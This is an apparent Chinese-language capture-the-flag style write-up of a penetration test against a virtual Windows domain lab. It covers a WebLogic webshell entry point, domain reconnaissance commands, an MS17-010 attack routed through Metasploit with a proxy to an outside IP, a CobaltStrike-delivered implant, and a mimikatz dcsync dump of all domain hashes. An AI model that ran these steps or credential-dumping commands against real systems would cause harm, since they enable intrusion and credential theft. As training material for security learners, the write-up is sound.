一.入口，信息收集
通过端口扫描发现7001端口的weblogic，通过上传webshell拿下服务器。
http://10.10.0.102:7001/bea_wls_internal/2.jsp
二.权限维持
通过工具读取系统rdp账户和密码(需要免杀马)，账户/密码：de1ay/WEItingyao@0829
三.流量代理
连接远程主机，在主机上建一个socks代理,把流量代理到本地,利用工具把代理的流量连接
四：域渗透信息收集
net localgroup administrators /domain#这个也是查域管，是升级为域控时本地账户也成为域管net group "domain controllers" /domain#查看域控制器net time /domain#查看时间并显示域控net config workstation#当前登录的当前工作环境net share#查看共享目录net use \ip地址或电脑名 "登录密码" /user:登录用户名 #相当于登录域内主机，可访问共享资源start\ip地址或电脑名 #直接打开共享电脑的文件tasklist /svc #显示每个进程中主持的服务。tasklist /S ip /U domainusername /P /V #查看远程计算机 tasklistnet localgroup administrators && whoami #查看当前是不是属于管理组netstat -ano#查看端口列表nltest /dclist:only.net #查看域控whoami /all #显示当前用户名、所属的组、以及安全等级、当前用户访问令牌的标识符(SID)、声明和权限。net sessoin #列出或断开本地计算机和连接的客户端的会话cmdkey /l #查看保存登陆凭证echo %logonserver% #查看登陆域setspn –l administrator spn #spn记录set #环境变量dsquery server#查找目录中的 AD DC/LDS 实例dsquery user#查找目录中的用户dsquery computer#查询目录中的计算机dir /s *.exe #查找指定目录下及子目录下隐藏文件arp -a#查看通讯
查看域 :
shell net view /domain
枚举域内主机
shell net view /domain:GYLQ
查看DC的ip
shell ping DC
查看DC域控主机
shell nltest/dclist:DE1AY
查看域的信任关系
shell nltest /domain_trusts
列出共享cs命令
net share WEB
判断是否能访问域控机的C盘，所以是域超级管理员
shell dir WEBC$
查看远程的DC的管理员用户
net localgroup WEB administrators
通过mimikatz抓取主域的NTLM
主机名: WEBOS 名称: Microsoft Windows Server 2008 R2 StandardOS 版本: 6.1.7601 Service Pack 1 Build 7601OS 制造商: Microsoft CorporationOS 配置: 成员服务器OS 构件类型: Multiprocessor Free注册的所有人: Windows 用户注册的组织:产品 ID: 00477-001-0000421-84103初始安装日期: 2019/9/8, 19:01:04系统启动时间: 2024/4/7, 0:58:01系统制造商: VMware, Inc.系统型号: VMware Virtual Platform系统类型: x64-based PC处理器: 安装了 1 个处理器。[01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2100 MhzBIOS 版本: Phoenix Technologies LTD 6.00, 2020/11/12Windows 目录: C:Windows系统目录: C:Windowssystem32启动设备: DeviceHarddiskVolume1系统区域设置: zh-cn;中文(中国)输入法区域设置: zh-cn;中文(中国)时区: (UTC+08:00)北京，重庆，香港特别行政区，乌鲁木齐物理内存总量: 2,047 MB可用的物理内存: 977 MB虚拟内存: 最大值: 4,095 MB虚拟内存: 可用: 2,829 MB虚拟内存: 使用中: 1,266 MB页面文件位置: C:pagefile.sys域: de1ay.com登录服务器: 暂缺修补程序: 安装了 3 个修补程序。[01]: KB2999226[02]: KB958488[03]: KB976902网卡: 安装了 2 个 NIC。[01]: Intel(R) PRO/1000 MT Network Connection连接名: 本地连接启用 DHCP: 否IP 地址[01]: 10.10.0.102[02]: fe80::19ac:77a2:d596:c4e8[02]: Intel(R) PRO/1000 MT Network Connection连接名: 本地连接 2启用 DHCP: 否IP 地址[01]: 10.10.10.80[02]: fe80::45eb:f2ec:2193:7ac8
域控
域名：de1ay.com域控：10.10.10.10上线主机为双网卡10.10.10.80(首选) 本地连接 210.10.0.102(首选) 本地连接 1PC：10.10.10.102
fscan运行截图
10.10.10.10:139 open10.10.10.80:135 open10.10.10.10:88 open10.10.10.80:7001 open10.10.10.80:445 open10.10.10.10:445 open10.10.10.80:139 open10.10.10.10:135 open10.10.10.80:80 open[+] 10.10.10.80 MS17-010 (Windows Server 2008 R2 Standard 7601 Service Pack 1)[*] NetInfo:[*]10.10.10.80[->]WEB[->]10.10.0.102[->]10.10.10.80[*] NetBios: 10.10.10.80 WEB.de1ay.com Windows Server 2008 R2 Standard 7601 Service Pack 1[*] NetInfo:[*]10.10.10.10[->]DC[->]10.10.10.10[+] 10.10.10.10 MS17-010 (Windows Server 2012 R2 Standard 9600)[*] WebTitle: http://10.10.10.80 code:200 len:0 title:None[*] NetBios: 10.10.10.10 [+]DC DC.de1ay.com Windows Server 2012 R2 Standard 9600[*] WebTitle: http://10.10.10.80:7001 code:404 len:1164 title:Error 404--Not Found[+] InfoScan:http://10.10.10.80:7001 [weblogic][+] http://10.10.10.80:7001 poc-yaml-weblogic-cve-2019-2729-1[+] http://10.10.10.80:7001 poc-yaml-weblogic-cve-2019-2725 v10
五.CobaltStrike与MSF联动
msf代理流量攻击域控的ms17-010漏洞
setg Proxies socks4:8.136.241.0:5000setg ReverseAllowProxy true
六.端口转发
通过cs上的代理转发功能启动一个监听器相当于在10.80的主机上启用一个端口转发流量，然后利用该监听生成一个马子，让msf传上去运行之后直接获取域控权限
七、域控hash dump
拿下域控之后，整个域就失陷了，可以通过mimikatz等工具，dump整个域的hash
lsadump::dcsync /domain:pentestlab.local /all /csv
八、声明免责
文中涉及的环境均为虚拟环境搭建，本文仅用于技术讨论与学习，未经授权利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者及本公众号团队不为此承担任何责任。
原文始发于微信公众号（深潜sec安全团队）：域靶场渗透学习
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论